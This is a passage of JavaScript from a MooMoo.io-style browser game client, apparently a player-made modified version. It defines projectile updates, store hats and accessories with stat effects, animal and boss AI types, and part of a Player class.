  3254. this.range -= tmpSpeed;
  3255. if (this.range <= 0) {
  3256. this.x += this.range * Math.cos(this.dir);
  3257. this.y += this.range * Math.sin(this.dir);
  3258. tmpSpeed = 1;
  3259. this.range = 0;
  3260. this.active = false;
  3261. }
  3262. } else {
  3263. this.skipMov = false;
  3264. }
  3265. }
  3266. };
  3267. this.tickUpdate = function(delta) {
  3268. if (this.tickActive) {
  3269. let tmpSpeed = this.speed * delta;
  3270. if (!this.skipMov) {
  3271. this.x2 += tmpSpeed * Math.cos(this.dir);
  3272. this.y2 += tmpSpeed * Math.sin(this.dir);
  3273. this.r2 -= tmpSpeed;
  3274. if (this.r2 <= 0) {
  3275. this.x2 += this.r2 * Math.cos(this.dir);
  3276. this.y2 += this.r2 * Math.sin(this.dir);
  3277. tmpSpeed = 1;
  3278. this.r2 = 0;
  3279. this.tickActive = false;
  3280. }
  3281. } else {
  3282. this.skipMov = false;
  3283. }
  3284. }
  3285. };
  3286. }
  3287. };
  3288. class Store {
  3289. constructor() {
  3290. // STORE HATS:
  3291. this.hats = [{
  3292. id: 45,
  3293. name: "Shame!",
  3294. dontSell: true,
  3295. price: 0,
  3296. scale: 120,
  3297. desc: "hacks are for winners"
  3298. }, {
  3299. id: 51,
  3300. name: "Moo Cap",
  3301. price: 0,
  3302. scale: 120,
  3303. desc: "coolest mooer around"
  3304. }, {
  3305. id: 50,
  3306. name: "Apple Cap",
  3307. price: 0,
  3308. scale: 120,
  3309. desc: "apple farms remembers"
  3310. }, {
  3311. id: 28,
  3312. name: "Moo Head",
  3313. price: 0,
  3314. scale: 120,
  3315. desc: "no effect"
  3316. }, {
  3317. id: 29,
  3318. name: "Pig Head",
  3319. price: 0,
  3320. scale: 120,
  3321. desc: "no effect"
  3322. }, {
  3323. id: 30,
  3324. name: "Fluff Head",
  3325. price: 0,
  3326. scale: 120,
  3327. desc: "no effect"
  3328. }, {
  3329. id: 36,
  3330. name: "Pandou Head",
  3331. price: 0,
  3332. scale: 120,
  3333. desc: "no effect"
  3334. }, {
  3335. id: 37,
  3336. name: "Bear Head",
  3337. price: 0,
  3338. scale: 120,
  3339. desc: "no effect"
  3340. }, {
  3341. id: 38,
  3342. name: "Monkey Head",
  3343. price: 0,
  3344. scale: 120,
  3345. desc: "no effect"
  3346. }, {
  3347. id: 44,
  3348. name: "Polar Head",
  3349. price: 0,
  3350. scale: 120,
  3351. desc: "no effect"
  3352. }, {
  3353. id: 35,
  3354. name: "Fez Hat",
  3355. price: 0,
  3356. scale: 120,
  3357. desc: "no effect"
  3358. }, {
  3359. id: 42,
  3360. name: "Enigma Hat",
  3361. price: 0,
  3362. scale: 120,
  3363. desc: "join the enigma army"
  3364. }, {
  3365. id: 43,
  3366. name: "Blitz Hat",
  3367. price: 0,
  3368. scale: 120,
  3369. desc: "hey everybody i'm blitz"
  3370. }, {
  3371. id: 49,
  3372. name: "Bob XIII Hat",
  3373. price: 0,
  3374. scale: 120,
  3375. desc: "like and subscribe"
  3376. }, {
  3377. id: 57,
  3378. name: "Pumpkin",
  3379. price: 50,
  3380. scale: 120,
  3381. desc: "Spooooky"
  3382. }, {
  3383. id: 8,
  3384. name: "Bummle Hat",
  3385. price: 100,
  3386. scale: 120,
  3387. desc: "no effect"
  3388. }, {
  3389. id: 2,
  3390. name: "Straw Hat",
  3391. price: 500,
  3392. scale: 120,
  3393. desc: "no effect"
  3394. }, {
  3395. id: 15,
  3396. name: "Winter Cap",
  3397. price: 600,
  3398. scale: 120,
  3399. desc: "allows you to move at normal speed in snow",
  3400. coldM: 1
  3401. }, {
  3402. id: 5,
  3403. name: "Cowboy Hat",
  3404. price: 1000,
  3405. scale: 120,
  3406. desc: "no effect"
  3407. }, {
  3408. id: 4,
  3409. name: "Ranger Hat",
  3410. price: 2000,
  3411. scale: 120,
  3412. desc: "no effect"
  3413. }, {
  3414. id: 18,
  3415. name: "Explorer Hat",
  3416. price: 2000,
  3417. scale: 120,
  3418. desc: "no effect"
  3419. }, {
  3420. id: 31,
  3421. name: "Flipper Hat",
  3422. price: 2500,
  3423. scale: 120,
  3424. desc: "have more control while in water",
  3425. watrImm: true
  3426. }, {
  3427. id: 1,
  3428. name: "Marksman Cap",
  3429. price: 3000,
  3430. scale: 120,
  3431. desc: "increases arrow speed and range",
  3432. aMlt: 1.3
  3433. }, {
  3434. id: 10,
  3435. name: "Bush Gear",
  3436. price: 3000,
  3437. scale: 160,
  3438. desc: "allows you to disguise yourself as a bush"
  3439. }, {
  3440. id: 48,
  3441. name: "Halo",
  3442. price: 3000,
  3443. scale: 120,
  3444. desc: "no effect"
  3445. }, {
  3446. id: 6,
  3447. name: "Soldier Helmet",
  3448. price: 4000,
  3449. scale: 120,
  3450. desc: "reduces damage taken but slows movement",
  3451. spdMult: 0.94,
  3452. dmgMult: 0.75
  3453. }, {
  3454. id: 23,
  3455. name: "Anti Venom Gear",
  3456. price: 4000,
  3457. scale: 120,
  3458. desc: "makes you immune to poison",
  3459. poisonRes: 1
  3460. }, {
  3461. id: 13,
  3462. name: "Medic Gear",
  3463. price: 5000,
  3464. scale: 110,
  3465. desc: "slowly regenerates health over time",
  3466. healthRegen: 3
  3467. }, {
  3468. id: 9,
  3469. name: "Miners Helmet",
  3470. price: 5000,
  3471. scale: 120,
  3472. desc: "earn 1 extra gold per resource",
  3473. extraGold: 1
  3474. }, {
  3475. id: 32,
  3476. name: "Musketeer Hat",
  3477. price: 5000,
  3478. scale: 120,
  3479. desc: "reduces cost of projectiles",
  3480. projCost: 0.5
  3481. }, {
  3482. id: 7,
  3483. name: "Bull Helmet",
  3484. price: 6000,
  3485. scale: 120,
  3486. desc: "increases damage done but drains health",
  3487. healthRegen: -5,
  3488. dmgMultO: 1.5,
  3489. spdMult: 0.96
  3490. }, {
  3491. id: 22,
  3492. name: "Emp Helmet",
  3493. price: 6000,
  3494. scale: 120,
  3495. desc: "turrets won't attack but you move slower",
  3496. antiTurret: 1,
  3497. spdMult: 0.7
  3498. }, {
  3499. id: 12,
  3500. name: "Booster Hat",
  3501. price: 6000,
  3502. scale: 120,
  3503. desc: "increases your movement speed",
  3504. spdMult: 1.16
  3505. }, {
  3506. id: 26,
  3507. name: "Barbarian Armor",
  3508. price: 8000,
  3509. scale: 120,
  3510. desc: "knocks back enemies that attack you",
  3511. dmgK: 0.6
  3512. }, {
  3513. id: 21,
  3514. name: "Plague Mask",
  3515. price: 10000,
  3516. scale: 120,
  3517. desc: "melee attacks deal poison damage",
  3518. poisonDmg: 5,
  3519. poisonTime: 6
  3520. }, {
  3521. id: 46,
  3522. name: "Bull Mask",
  3523. price: 10000,
  3524. scale: 120,
  3525. desc: "bulls won't target you unless you attack them",
  3526. bullRepel: 1
  3527. }, {
  3528. id: 14,
  3529. name: "Windmill Hat",
  3530. topSprite: true,
  3531. price: 10000,
  3532. scale: 120,
  3533. desc: "generates points while worn",
  3534. pps: 1.5
  3535. }, {
  3536. id: 11,
  3537. name: "Spike Gear",
  3538. topSprite: true,
  3539. price: 10000,
  3540. scale: 120,
  3541. desc: "deal damage to players that damage you",
  3542. dmg: 0.45
  3543. }, {
  3544. id: 53,
  3545. name: "Turret Gear",
  3546. topSprite: true,
  3547. price: 10000,
  3548. scale: 120,
  3549. desc: "you become a walking turret",
  3550. turret: {
  3551. proj: 1,
  3552. range: 700,
  3553. rate: 2500
  3554. },
  3555. spdMult: 0.7
  3556. }, {
  3557. id: 20,
  3558. name: "Samurai Armor",
  3559. price: 12000,
  3560. scale: 120,
  3561. desc: "increased attack speed and fire rate",
  3562. atkSpd: 0.78
  3563. }, {
  3564. id: 58,
  3565. name: "Dark Knight",
  3566. price: 12000,
  3567. scale: 120,
  3568. desc: "restores health when you deal damage",
  3569. healD: 0.4
  3570. }, {
  3571. id: 27,
  3572. name: "Scavenger Gear",
  3573. price: 15000,
  3574. scale: 120,
  3575. desc: "earn double points for each kill",
  3576. kScrM: 2
  3577. }, {
  3578. id: 40,
  3579. name: "Tank Gear",
  3580. price: 15000,
  3581. scale: 120,
  3582. desc: "increased damage to buildings but slower movement",
  3583. spdMult: 0.3,
  3584. bDmg: 3.3
  3585. }, {
  3586. id: 52,
  3587. name: "Thief Gear",
  3588. price: 15000,
  3589. scale: 120,
  3590. desc: "steal half of a players gold when you kill them",
  3591. goldSteal: 0.5
  3592. }, {
  3593. id: 55,
  3594. name: "Bloodthirster",
  3595. price: 20000,
  3596. scale: 120,
  3597. desc: "Restore Health when dealing damage. And increased damage",
  3598. healD: 0.25,
  3599. dmgMultO: 1.2,
  3600. }, {
  3601. id: 56,
  3602. name: "Assassin Gear",
  3603. price: 20000,
  3604. scale: 120,
  3605. desc: "Go invisible when not moving. Can't eat. Increased speed",
  3606. noEat: true,
  3607. spdMult: 1.1,
  3608. invisTimer: 1000
  3609. }];
  3610.  
  3611. // STORE ACCESSORIES:
  3612. this.accessories = [{
  3613. id: 12,
  3614. name: "Snowball",
  3615. price: 1000,
  3616. scale: 105,
  3617. xOff: 18,
  3618. desc: "no effect"
  3619. }, {
  3620. id: 9,
  3621. name: "Tree Cape",
  3622. price: 1000,
  3623. scale: 90,
  3624. desc: "no effect"
  3625. }, {
  3626. id: 10,
  3627. name: "Stone Cape",
  3628. price: 1000,
  3629. scale: 90,
  3630. desc: "no effect"
  3631. }, {
  3632. id: 3,
  3633. name: "Cookie Cape",
  3634. price: 1500,
  3635. scale: 90,
  3636. desc: "no effect"
  3637. }, {
  3638. id: 8,
  3639. name: "Cow Cape",
  3640. price: 2000,
  3641. scale: 90,
  3642. desc: "no effect"
  3643. }, {
  3644. id: 11,
  3645. name: "Monkey Tail",
  3646. price: 2000,
  3647. scale: 97,
  3648. xOff: 25,
  3649. desc: "Super speed but reduced damage",
  3650. spdMult: 1.35,
  3651. dmgMultO: 0.2
  3652. }, {
  3653. id: 17,
  3654. name: "Apple Basket",
  3655. price: 3000,
  3656. scale: 80,
  3657. xOff: 12,
  3658. desc: "slowly regenerates health over time",
  3659. healthRegen: 1
  3660. }, {
  3661. id: 6,
  3662. name: "Winter Cape",
  3663. price: 3000,
  3664. scale: 90,
  3665. desc: "no effect"
  3666. }, {
  3667. id: 4,
  3668. name: "Skull Cape",
  3669. price: 4000,
  3670. scale: 90,
  3671. desc: "no effect"
  3672. }, {
  3673. id: 5,
  3674. name: "Dash Cape",
  3675. price: 5000,
  3676. scale: 90,
  3677. desc: "no effect"
  3678. }, {
  3679. id: 2,
  3680. name: "Dragon Cape",
  3681. price: 6000,
  3682. scale: 90,
  3683. desc: "no effect"
  3684. }, {
  3685. id: 1,
  3686. name: "Super Cape",
  3687. price: 8000,
  3688. scale: 90,
  3689. desc: "no effect"
  3690. }, {
  3691. id: 7,
  3692. name: "Troll Cape",
  3693. price: 8000,
  3694. scale: 90,
  3695. desc: "no effect"
  3696. }, {
  3697. id: 14,
  3698. name: "Thorns",
  3699. price: 10000,
  3700. scale: 115,
  3701. xOff: 20,
  3702. desc: "no effect"
  3703. }, {
  3704. id: 15,
  3705. name: "Blockades",
  3706. price: 10000,
  3707. scale: 95,
  3708. xOff: 15,
  3709. desc: "no effect"
  3710. }, {
  3711. id: 20,
  3712. name: "Devils Tail",
  3713. price: 10000,
  3714. scale: 95,
  3715. xOff: 20,
  3716. desc: "no effect"
  3717. }, {
  3718. id: 16,
  3719. name: "Sawblade",
  3720. price: 12000,
  3721. scale: 90,
  3722. spin: true,
  3723. xOff: 0,
  3724. desc: "deal damage to players that damage you",
  3725. dmg: 0.15
  3726. }, {
  3727. id: 13,
  3728. name: "Angel Wings",
  3729. price: 15000,
  3730. scale: 138,
  3731. xOff: 22,
  3732. desc: "slowly regenerates health over time",
  3733. healthRegen: 3
  3734. }, {
  3735. id: 19,
  3736. name: "Shadow Wings",
  3737. price: 15000,
  3738. scale: 138,
  3739. xOff: 22,
  3740. desc: "increased movement speed",
  3741. spdMult: 1.1
  3742. }, {
  3743. id: 18,
  3744. name: "Blood Wings",
  3745. price: 20000,
  3746. scale: 178,
  3747. xOff: 26,
  3748. desc: "restores health when you deal damage",
  3749. healD: 0.2
  3750. }, {
  3751. id: 21,
  3752. name: "Corrupt X Wings",
  3753. price: 20000,
  3754. scale: 178,
  3755. xOff: 26,
  3756. desc: "deal damage to players that damage you",
  3757. dmg: 0.25
  3758. }];
  3759. }
  3760. };
  3761. class ProjectileManager {
  3762. constructor(Projectile, projectiles, players, ais, objectManager, items, config, UTILS, server) {
  3763. this.addProjectile = function(x, y, dir, range, speed, indx, owner, ignoreObj, layer, inWindow) {
  3764. let tmpData = items.projectiles[indx];
  3765. let tmpProj;
  3766. for (let i = 0; i < projectiles.length; ++i) {
  3767. if (!projectiles[i].active) {
  3768. tmpProj = projectiles[i];
  3769. break;
  3770. }
  3771. }
  3772. if (!tmpProj) {
  3773. tmpProj = new Projectile(players, ais, objectManager, items, config, UTILS, server);
  3774. tmpProj.sid = projectiles.length;
  3775. projectiles.push(tmpProj);
  3776. }
  3777. tmpProj.init(indx, x, y, dir, speed, tmpData.dmg, range, tmpData.scale, owner);
  3778. tmpProj.ignoreObj = ignoreObj;
  3779. tmpProj.layer = layer || tmpData.layer;
  3780. tmpProj.inWindow = inWindow;
  3781. tmpProj.src = tmpData.src;
  3782. return tmpProj;
  3783. };
  3784. }
  3785. };
  3786. class AiManager {
  3787.  
  3788. // AI MANAGER:
  3789. constructor(ais, AI, players, items, objectManager, config, UTILS, scoreCallback, server) {
  3790.  
  3791. // AI TYPES:
  3792. this.aiTypes = [{
  3793. id: 0,
  3794. src: "cow_1",
  3795. killScore: 150,
  3796. health: 500,
  3797. weightM: 0.8,
  3798. speed: 0.00095,
  3799. turnSpeed: 0.001,
  3800. scale: 72,
  3801. drop: ["food", 50]
  3802. }, {
  3803. id: 1,
  3804. src: "pig_1",
  3805. killScore: 200,
  3806. health: 800,
  3807. weightM: 0.6,
  3808. speed: 0.00085,
  3809. turnSpeed: 0.001,
  3810. scale: 72,
  3811. drop: ["food", 80]
  3812. }, {
  3813. id: 2,
  3814. name: "Bull",
  3815. src: "bull_2",
  3816. hostile: true,
  3817. dmg: 20,
  3818. killScore: 1000,
  3819. health: 1800,
  3820. weightM: 0.5,
  3821. speed: 0.00094,
  3822. turnSpeed: 0.00074,
  3823. scale: 78,
  3824. viewRange: 800,
  3825. chargePlayer: true,
  3826. drop: ["food", 100]
  3827. }, {
  3828. id: 3,
  3829. name: "Bully",
  3830. src: "bull_1",
  3831. hostile: true,
  3832. dmg: 20,
  3833. killScore: 2000,
  3834. health: 2800,
  3835. weightM: 0.45,
  3836. speed: 0.001,
  3837. turnSpeed: 0.0008,
  3838. scale: 90,
  3839. viewRange: 900,
  3840. chargePlayer: true,
  3841. drop: ["food", 400]
  3842. }, {
  3843. id: 4,
  3844. name: "Wolf",
  3845. src: "wolf_1",
  3846. hostile: true,
  3847. dmg: 8,
  3848. killScore: 500,
  3849. health: 300,
  3850. weightM: 0.45,
  3851. speed: 0.001,
  3852. turnSpeed: 0.002,
  3853. scale: 84,
  3854. viewRange: 800,
  3855. chargePlayer: true,
  3856. drop: ["food", 200]
  3857. }, {
  3858. id: 5,
  3859. name: "Quack",
  3860. src: "chicken_1",
  3861. dmg: 8,
  3862. killScore: 2000,
  3863. noTrap: true,
  3864. health: 300,
  3865. weightM: 0.2,
  3866. speed: 0.0018,
  3867. turnSpeed: 0.006,
  3868. scale: 70,
  3869. drop: ["food", 100]
  3870. }, {
  3871. id: 6,
  3872. name: "MOOSTAFA",
  3873. nameScale: 50,
  3874. src: "enemy",
  3875. hostile: true,
  3876. dontRun: true,
  3877. fixedSpawn: true,
  3878. spawnDelay: 60000,
  3879. noTrap: true,
  3880. colDmg: 100,
  3881. dmg: 40,
  3882. killScore: 8000,
  3883. health: 18000,
  3884. weightM: 0.4,
  3885. speed: 0.0007,
  3886. turnSpeed: 0.01,
  3887. scale: 80,
  3888. spriteMlt: 1.8,
  3889. leapForce: 0.9,
  3890. viewRange: 1000,
  3891. hitRange: 210,
  3892. hitDelay: 1000,
  3893. chargePlayer: true,
  3894. drop: ["food", 100]
  3895. }, {
  3896. id: 7,
  3897. name: "Treasure",
  3898. hostile: true,
  3899. nameScale: 35,
  3900. src: "crate_1",
  3901. fixedSpawn: true,
  3902. spawnDelay: 120000,
  3903. colDmg: 200,
  3904. killScore: 5000,
  3905. health: 20000,
  3906. weightM: 0.1,
  3907. speed: 0.0,
  3908. turnSpeed: 0.0,
  3909. scale: 70,
  3910. spriteMlt: 1.0
  3911. }, {
  3912. id: 8,
  3913. name: "MOOFIE",
  3914. src: "wolf_2",
  3915. hostile: true,
  3916. fixedSpawn: true,
  3917. dontRun: true,
  3918. hitScare: 4,
  3919. spawnDelay: 30000,
  3920. noTrap: true,
  3921. nameScale: 35,
  3922. dmg: 10,
  3923. colDmg: 100,
  3924. killScore: 3000,
  3925. health: 7000,
  3926. weightM: 0.45,
  3927. speed: 0.0015,
  3928. turnSpeed: 0.002,
  3929. scale: 90,
  3930. viewRange: 800,
  3931. chargePlayer: true,
  3932. drop: ["food", 1000]
  3933. }, {
  3934. id: 9,
  3935. name: "💀MOOFIE",
  3936. src: "wolf_2",
  3937. hostile: !0,
  3938. fixedSpawn: !0,
  3939. dontRun: !0,
  3940. hitScare: 50,
  3941. spawnDelay: 6e4,
  3942. noTrap: !0,
  3943. nameScale: 35,
  3944. dmg: 12,
  3945. colDmg: 100,
  3946. killScore: 3e3,
  3947. health: 9e3,
  3948. weightM: .45,
  3949. speed: .0015,
  3950. turnSpeed: .0025,
  3951. scale: 94,
  3952. viewRange: 1440,
  3953. chargePlayer: !0,
  3954. drop: ["food", 3e3],
  3955. minSpawnRange: .85,
  3956. maxSpawnRange: .9
  3957. }, {
  3958. id: 10,
  3959. name: "💀Wolf",
  3960. src: "wolf_1",
  3961. hostile: !0,
  3962. fixedSpawn: !0,
  3963. dontRun: !0,
  3964. hitScare: 50,
  3965. spawnDelay: 3e4,
  3966. dmg: 10,
  3967. killScore: 700,
  3968. health: 500,
  3969. weightM: .45,
  3970. speed: .00115,
  3971. turnSpeed: .0025,
  3972. scale: 88,
  3973. viewRange: 1440,
  3974. chargePlayer: !0,
  3975. drop: ["food", 400],
  3976. minSpawnRange: .85,
  3977. maxSpawnRange: .9
  3978. }, {
  3979. id: 11,
  3980. name: "💀Bully",
  3981. src: "bull_1",
  3982. hostile: !0,
  3983. fixedSpawn: !0,
  3984. dontRun: !0,
  3985. hitScare: 50,
  3986. dmg: 20,
  3987. killScore: 5e3,
  3988. health: 5e3,
  3989. spawnDelay: 1e5,
  3990. weightM: .45,
  3991. speed: .00115,
  3992. turnSpeed: .0025,
  3993. scale: 94,
  3994. viewRange: 1440,
  3995. chargePlayer: !0,
  3996. drop: ["food", 800],
  3997. minSpawnRange: .85,
  3998. maxSpawnRange: .9
  3999. }];
  4000.  
  4001. // SPAWN AI:
  4002. this.spawn = function(x, y, dir, index) {
  4003. let tmpObj = ais.find((tmp) => !tmp.active);
  4004. if (!tmpObj) {
  4005. tmpObj = new AI(ais.length, objectManager, players, items, UTILS, config, scoreCallback, server);
  4006. ais.push(tmpObj);
  4007. }
  4008. tmpObj.init(x, y, dir, index, this.aiTypes[index]);
  4009. return tmpObj;
  4010. };
  4011. }
  4012.  
  4013. };
  4014. class AI {
  4015. constructor(sid, objectManager, players, items, UTILS, config, scoreCallback, server) {
  4016. this.sid = sid;
  4017. this.isAI = true;
  4018. this.nameIndex = UTILS.randInt(0, config.cowNames.length - 1);
  4019.  
  4020. // INIT:
  4021. this.init = function(x, y, dir, index, data) {
  4022. this.x = x;
  4023. this.y = y;
  4024. this.startX = data.fixedSpawn ? x : null;
  4025. this.startY = data.fixedSpawn ? y : null;
  4026. this.xVel = 0;
  4027. this.yVel = 0;
  4028. this.zIndex = 0;
  4029. this.dir = dir;
  4030. this.dirPlus = 0;
  4031. this.showName = 'aaa';
  4032. this.index = index;
  4033. this.src = data.src;
  4034. if (data.name) this.name = data.name;
  4035. this.weightM = data.weightM;
  4036. this.speed = data.speed;
  4037. this.killScore = data.killScore;
  4038. this.turnSpeed = data.turnSpeed;
  4039. this.scale = data.scale;
  4040. this.maxHealth = data.health;
  4041. this.leapForce = data.leapForce;
  4042. this.health = this.maxHealth;
  4043. this.chargePlayer = data.chargePlayer;
  4044. this.viewRange = data.viewRange;
  4045. this.drop = data.drop;
  4046. this.dmg = data.dmg;
  4047. this.hostile = data.hostile;
  4048. this.dontRun = data.dontRun;
  4049. this.hitRange = data.hitRange;
  4050. this.hitDelay = data.hitDelay;
  4051. this.hitScare = data.hitScare;
  4052. this.spriteMlt = data.spriteMlt;
  4053. this.nameScale = data.nameScale;
  4054. this.colDmg = data.colDmg;
  4055. this.noTrap = data.noTrap;
  4056. this.spawnDelay = data.spawnDelay;
  4057. this.hitWait = 0;
  4058. this.waitCount = 1000;
  4059. this.moveCount = 0;
  4060. this.targetDir = 0;
  4061. this.active = true;
  4062. this.alive = true;
  4063. this.runFrom = null;
  4064. this.chargeTarget = null;
  4065. this.dmgOverTime = {};
  4066. };
  4067.  
  4068. let tmpRatio = 0;
  4069. let animIndex = 0;
  4070. this.animate = function(delta) {
  4071. if (this.animTime > 0) {
  4072. this.animTime -= delta;
  4073. if (this.animTime <= 0) {
  4074. this.animTime = 0;
  4075. this.dirPlus = 0;
  4076. tmpRatio = 0;
  4077. animIndex = 0;
  4078. } else {
  4079. if (animIndex == 0) {
  4080. tmpRatio += delta / (this.animSpeed * config.hitReturnRatio);
  4081. this.dirPlus = UTILS.lerp(0, this.targetAngle, Math.min(1, tmpRatio));
  4082. if (tmpRatio >= 1) {
  4083. tmpRatio = 1;
  4084. animIndex = 1;
  4085. }
  4086. } else {
  4087. tmpRatio -= delta / (this.animSpeed * (1 - config.hitReturnRatio));
  4088. this.dirPlus = UTILS.lerp(0, this.targetAngle, Math.max(0, tmpRatio));
  4089. }
  4090. }
  4091. }
  4092. };
  4093.  
  4094. // ANIMATION:
  4095. this.startAnim = function() {
  4096. this.animTime = this.animSpeed = 600;
  4097. this.targetAngle = Math.PI * 0.8;
  4098. tmpRatio = 0;
  4099. animIndex = 0;
  4100. };
  4101.  
  4102. };
  4103.  
  4104. };
  4105. class addCh {
  4106. constructor(x, y, chat, tmpObj) {
  4107. this.x = x;
  4108. this.y = y;
  4109. this.alpha = 0;
  4110. this.active = true;
  4111. this.alive = false;
  4112. this.chat = chat;
  4113. this.owner = tmpObj;
  4114. };
  4115. };
  4116. class DeadPlayer {
  4117. constructor(x, y, dir, buildIndex, weaponIndex, weaponVariant, skinColor, scale, name) {
  4118. this.x = x;
  4119. this.y = y;
  4120. this.lastDir = dir;
  4121. this.dir = dir + Math.PI;
  4122. this.buildIndex = buildIndex;
  4123. this.weaponIndex = weaponIndex;
  4124. this.weaponVariant = weaponVariant;
  4125. this.skinColor = skinColor;
  4126. this.scale = scale;
  4127. this.visScale = 0;
  4128. this.name = name;
  4129. this.alpha = 1;
  4130. this.active = true;
  4131. this.animate = function(delta) {
  4132. let d2 = UTILS.getAngleDist(this.lastDir, this.dir);
  4133. if (d2 > 0.01) {
  4134. this.dir += d2 / 20;
  4135. } else {
  4136. this.dir = this.lastDir;
  4137. }
  4138. if (this.visScale < this.scale) {
  4139. this.visScale += delta / (this.scale / 2);
  4140. if (this.visScale >= this.scale) {
  4141. this.visScale = this.scale;
  4142. }
  4143. }
  4144. this.alpha -= delta / 30000;
  4145. if (this.alpha <= 0) {
  4146. this.alpha = 0;
  4147. this.active = false;
  4148. }
  4149. }
  4150. }
  4151. };
  4152. class Player {
  4153. constructor(id, sid, config, UTILS, projectileManager, objectManager, players, ais, items, hats, accessories, server, scoreCallback, iconCallback) {
  4154. this.id = id;
  4155. this.sid = sid;
  4156. this.tmpScore = 0;
  4157. this.team = null;
  4158. this.latestSkin = 0;
  4159. this.oldSkinIndex = 0;
  4160. this.skinIndex = 0;
  4161. this.latestTail = 0;
  4162. this.oldTailIndex = 0;
  4163. this.tailIndex = 0;
  4164. this.hitTime = 0;
  4165. this.lastHit = 0;
  4166. this.showName = 'NOOO';
  4167. this.tails = {};
  4168. for (let i = 0; i < accessories.length; ++i) {
  4169. if (accessories[i].price <= 0)
  4170. this.tails[accessories[i].id] = 1;
  4171. }
  4172. this.skins = {};
  4173. for (let i = 0; i < hats.length; ++i) {
  4174. if (hats[i].price <= 0)
  4175. this.skins[hats[i].id] = 1;
  4176. }
  4177. this.points = 0;
  4178. this.dt = 0;
  4179. this.hidden = false;
  4180. this.itemCounts = {};
  4181. this.isPlayer = true;
  4182. this.pps = 0;
  4183. this.moveDir = undefined;
  4184. this.skinRot = 0;
  4185. this.lastPing = 0;
  4186. this.iconIndex = 0;
  4187. this.skinColor = 0;
  4188. this.dist2 = 0;
  4189. this.aim2 = 0;
  4190. this.maxSpeed = 1;
  4191. this.chat = {
  4192. message: null,
  4193. count: 0
  4194. };
  4195. this.backupNobull = true;
  4196. this.circle = false;
  4197. this.circleRad = 200;
  4198. this.circleRadSpd = 0.1;
  4199. this.cAngle = 0;
  4200. // SPAWN:
  4201. this.spawn = function(moofoll) {
  4202. this.attacked = false;
  4203. this.timeDamaged = 0;
  4204. this.timeHealed = 100;
  4205. this.pinge = 0;
  4206. this.millPlace = 'NOOO';
  4207. this.lastshamecount = 0;
  4208. this.death = false;
  4209. this.spinDir = 0;
  4210. this.sync = false;
  4211. this.antiBull = 0;
  4212. this.bullTimer = 0;
  4213. this.poisonTimer = 0;
  4214. this.active = true;
  4215. this.alive = true;
  4216. this.lockMove = false;
  4217. this.lockDir = false;
  4218. this.minimapCounter = 0;
  4219. this.chatCountdown = 0;
  4220. this.shameCount = 0;
  4221. this.shameTimer = 0;
  4222. this.sentTo = {};
  4223. this.gathering = 0;
  4224. this.gatherIndex = 0;
  4225. this.shooting = {};
  4226. this.shootIndex = 9;
  4227. this.autoGather = 0;
  4228. this.animTime = 0;
  4229. this.animSpeed = 0;
  4230. this.mouseState = 0;
  4231. this.buildIndex = -1;
  4232. this.weaponIndex = 0;
  4233. this.weaponCode = 0;
  4234. this.weaponVariant = 0;
  4235. this.primaryIndex = undefined;
  4236. this.secondaryIndex = undefined;
  4237. this.dmgOverTime = {};
  4238. this.noMovTimer = 0;
  4239. this.maxXP = 300;
  4240. this.XP = 0;
  4241. this.age = 1;
  4242. this.kills = 0;
  4243. this.upgrAge = 2;
  4244. this.upgradePoints = 0;
  4245. this.x = 0;
  4246. this.y = 0;
  4247. this.oldXY = {
  4248. x: 0,
  4249. y: 0
  4250. };
  4251. this.zIndex = 0;
  4252. this.xVel = 0;
  4253. this.yVel = 0;
  4254. this.slowMult = 1;
  4255. this.dir = 0;
  4256. this.dirPlus = 0;
  4257. this.targetDir = 0;
  4258. this.targetAngle = 0;
  4259. this.maxHealth = 100;
  4260. this.health = this.maxHealth;
  4261. this.oldHealth = this.maxHealth;
  4262. this.damaged = 0;
  4263. this.scale = config.playerScale;
  4264. this.speed = config.playerSpeed;
  4265. this.resetMoveDir();
  4266. this.resetResources(moofoll);
  4267. this.items = [0, 3, 6, 10];
  4268. this.weapons = [0];
  4269. this.shootCount = 0;
  4270. this.weaponXP = [];
  4271. this.reloads = {
  4272. 0: 0,
  4273. 1: 0,
  4274. 2: 0,
  4275. 3: 0,
  4276. 4: 0,
  4277. 5: 0,
  4278. 6: 0,
  4279. 7: 0,
  4280. 8: 0,
  4281. 9: 0,
  4282. 10: 0,
  4283. 11: 0,
  4284. 12: 0,
  4285. 13: 0,
  4286. 14: 0,
  4287. 15: 0,
  4288. 53: 0,
  4289. };
  4290. this.bowThreat = {
  4291. 9: 0,
  4292. 12: 0,
  4293. 13: 0,
  4294. 15: 0,
  4295. };
  4296. this.damageThreat = 0;
  4297. this.inTrap = false;
  4298. this.canEmpAnti = false;
  4299. this.empAnti = false;
  4300. this.soldierAnti = false;
  4301. this.poisonTick = 0;
  4302. this.bullTick = 0;
  4303. this.setPoisonTick = false;
  4304. this.setBullTick = false;
  4305. this.antiTimer = 2;
  4306. };
  4307.  
  4308. // RESET MOVE DIR:
  4309. this.resetMoveDir = function() {
  4310. this.moveDir = undefined;
  4311. };
  4312.  
  4313. // RESET RESOURCES:
  4314. this.resetResources = function(moofoll) {
  4315. for (let i = 0; i < config.resourceTypes.length; ++i) {
  4316. this[config.resourceTypes[i]] = moofoll ? 100 : 0;
  4317. }
  4318. };
  4319.  
  4320. // ADD ITEM:
  4321. this.getItemType = function(id) {
  4322. let findindx = this.items.findIndex((ids) => ids == id);
  4323. if (findindx != -1) {
  4324. return findindx;
  4325. } else {
  4326. return items.checkItem.index(id, this.items);
  4327. }
  4328. };
  4329.  
  4330. // SET DATA:
  4331. this.setData = function(data) {
  4332. this.id = data[0];
  4333. this.sid = data[1];
  4334. this.name = data[2];
  4335. this.x = data[3];
  4336. this.y = data[4];
  4337. this.dir = data[5];
  4338. this.health = data[6];
  4339. this.maxHealth = data[7];
  4340. this.scale = data[8];
  4341. this.skinColor = data[9];
  4342. };
  4343.  
  4344. // UPDATE POISON TICK:
  4345. this.updateTimer = function() {
  4346.  
  4347. this.bullTimer -= 1;
  4348. if (this.bullTimer <= 0) {
  4349. this.setBullTick = false;
  4350. this.bullTick = game.tick - 1;
  4351. this.bullTimer = config.serverUpdateRate;
  4352. }
  4353. this.poisonTimer -= 1;
  4354. if (this.poisonTimer <= 0) {
  4355. this.setPoisonTick = false;
  4356. this.poisonTick = game.tick - 1;
  4357. this.poisonTimer = config.serverUpdateRate;
  4358. }
  4359.  
  4360. };
  4361. this.update = function(delta) {
  4362. if (this.sid == playerSID) {
  4363. this.circleRad = parseInt(getEl("circleRad").value) || 0;
  4364. this.circleRadSpd = parseFloat(getEl("radSpeed").value) || 0;
